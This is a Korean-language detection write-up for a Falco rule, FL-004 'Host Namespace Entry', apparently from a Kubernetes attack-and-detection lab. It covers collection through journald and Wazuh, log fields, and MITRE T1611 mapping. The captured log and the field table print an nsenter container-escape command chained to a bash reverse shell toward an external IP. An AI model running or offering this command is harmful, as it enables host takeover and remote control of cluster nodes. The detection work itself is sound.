FL-004 Falco Host Namespace Entry Log
공격 행위 요약
FL-004는 NodeFall 캠페인에서 공격자가 위험 Pod 실행 환경을 이용해 컨테이너 경계를 넘어 호스트 네임스페이스에 진입한 런타임 행위를 설명하는 Falco 기반 로그이다.
공격자는 privileged, hostPID, hostNetwork 등 호스트 접근이 가능한 Pod 실행 환경을 만든 뒤, 컨테이너 내부에서 nsenter를 실행하거나 setns syscall을 호출하여 호스트의 namespace로 진입했다. 이 행위는 단순히 위험 Pod를 생성한 것이 아니라, 실제로 컨테이너 격리 경계를 넘어 호스트 영역에 접근하려는 실행 단계에 해당한다.
Falco는 eBPF/driver를 통해 Linux Kernel syscall을 관찰한다. 컨테이너 내부 프로세스에서 setns syscall이 발생하거나, nsenter 프로세스 실행이 확인되면 Falco rule FL-004 Host Namespace Entry가 매칭되고 [FL-004] Host Namespace Entry 로그가 생성된다.
FL-004는 Kyverno 기반 KL-001이 설명하는 위험 Pod 생성 요청 이후, 실제 host namespace entry가 발생했는지 확인하는 런타임 증거로 사용된다.
로그 발생 위치
| 구분 | 위치 | 설명 |
| K8s Node | Linux Kernel syscall | 컨테이너 내부에서 nsenter 실행 또는 setns syscall이 발생 |
| Falco | rule FL-004 Host Namespace Entry | syscall 이벤트가 Falco rule 조건과 매칭되면 탐지 이벤트 생성 |
| K8s Node | falco-modern-bpf.service | Falco가 생성한 탐지 이벤트가 systemd service 로그로 기록 |
| K8s Node | journalctl -u falco-modern-bpf.service | 분석자가 Falco 원본 탐지 로그를 확인하는 대표 위치 |
수집 방식
| 구분 | 방식 |
| Falco 탐지 기준 | 컨테이너 내부에서 evt.type = setns가 발생하거나, execve/execveat로 nsenter 프로세스가 실행되는지 확인 |
| Falco 탐지 메시지 | 조건 매칭 시 Falco output 값인 [FL-004] Host Namespace Entry가 journald 로그에 기록됨 |
| Linux syscall | setns, execve, execveat 이벤트가 eBPF/driver를 통해 Falco에 전달됨 |
| journald | Falco 탐지 이벤트가 falco-modern-bpf.service의 systemd journal에 저장됨 |
| Wazuh agent | K8s node의 /var/ossec/etc/ossec.conf에서 journald 로그를 수집 |
| Wazuh manager | 수집된 Falco 로그를 local_rules.xml의 FL-004 룰과 매칭 |
| Wazuh Dashboard | 매칭된 alert를 [FL-004] Host Namespace Entry 이벤트로 표시 |
로그 출력 명령어
sudo journalctl -u falco-modern-bpf.service --no-pager | grep -E "\[FL-004\] Host Namespace Entry"
실제 관측 로그
May 23 22:52:43 ip-10-0-133-48 falco[16715]: 22:52:43.544568206: Critical [FL-004] Host Namespace Entry
(user=root proc=nsenter -t 1 -m -u -i -n -p -- bash -c bash -i >& /dev/tcp/43.203.119.227/9003 0>&1 container=pwned pod=pwned-pod-final ns=kube-system)
container_id=f3a18f7ee9a8 container_name=pwned container_image_repository=docker.io/library/node container_image_tag=20 k8s_pod_name=pwned-pod-final k8s_ns_name=kube-system
주요 필드
| 필드 | 의미 | 예시 |
timestamp | systemd journal에 기록된 로그 발생 시각 | May 23 22:52:43 |
node | Falco 이벤트가 발생한 Kubernetes Node | ip-10-0-133-48 |
process | 로그를 기록한 프로세스와 PID | falco[16715] |
evt.time | Falco가 관찰한 syscall 이벤트 발생 시간 | 22:52:43.544568206 |
priority | Falco 탐지 심각도 | Critical |
rule/message | Falco가 탐지한 런타임 행위명 | [FL-004] Host Namespace Entry |
user | 행위를 수행한 사용자 | root |
proc | 실행된 프로세스와 명령어 | nsenter -t 1 -m -u -i -n -p -- bash -c bash -i >& /dev/tcp/43.203.119.227/9003 0>&1 |
container | 행위가 발생한 컨테이너 이름 | pwned |
pod | 행위가 발생한 Kubernetes Pod | pwned-pod-final |
ns | Pod가 속한 Kubernetes namespace | kube-system |
container_id | 컨테이너 식별자 | f3a18f7ee9a8 |
container_name | 컨테이너 이름 | pwned |
container_image_repository | 컨테이너 이미지 저장소 | docker.io/library/node |
container_image_tag | 컨테이너 이미지 태그 | 20 |
k8s_pod_name | Kubernetes Pod 이름 | pwned-pod-final |
k8s_ns_name | Kubernetes namespace 이름 | kube-system |
커버 대상 Techniques Used
| Primary Log | Technique | Mapping Reason |
| KL-001 | T1611 Escape to Host | 위험 Pod 생성 요청을 확인하여 호스트 접근이 가능한 실행 환경 준비 행위를 설명한다. |
| FL-004 | T1611 Escape to Host | nsenter 또는 setns 기반 Host Namespace Entry를 확인하여 실제 컨테이너 경계 탈출 행위를 설명한다. |
| FL-003 | T1068 Exploitation for Privilege Escalation | 컨테이너 내부 또는 탈출 과정에서 root 권한 shell/command 실행을 확인하여 권한 상승 성공을 설명한다. |
| FL | T1611 Escape to Host | reverse shell 연결을 확인하여 호스트 접근 이후 노드 제어권 확보 흐름을 보강한다. |
탐지 포인트
| Technique | 관찰 행위 | 주요 필드 |
| T1611 Escape to Host | Falco가 [FL-004] Host Namespace Entry 이벤트를 생성했는지 확인한다. 이는 컨테이너 내부 프로세스가 호스트 네임스페이스 진입 행위와 매칭되었음을 의미한다. | rule/message, priority, evt.time |
| T1611 Escape to Host | 실행된 프로세스가 nsenter인지 확인한다. nsenter는 대상 프로세스의 mount, UTS, IPC, network, PID namespace에 진입할 때 사용되므로 컨테이너 경계 탈출의 핵심 행위다. | proc, user |
| T1611 Escape to Host | proc 필드에 -t 1, -m, -u, -i, -n, -p 옵션이 포함되어 있는지 확인한다. 이는 PID 1을 대상으로 여러 호스트 namespace에 진입하려는 명령임을 보여준다. | proc |
| T1611 Escape to Host | 해당 행위가 어떤 컨테이너와 Pod에서 발생했는지 확인한다. 공격자가 생성한 위험 Pod에서 발생했다면 KL-001의 위험 Pod 생성 이벤트와 연결할 수 있다. | container, pod, ns, container_id, k8s_pod_name, k8s_ns_name |
| T1611 Escape to Host | 컨테이너 이미지와 namespace를 확인하여 공격 목적으로 생성된 Pod 또는 특권 Pod에서 발생한 이벤트인지 식별한다. | container_image_repository, container_image_tag, k8s_ns_name |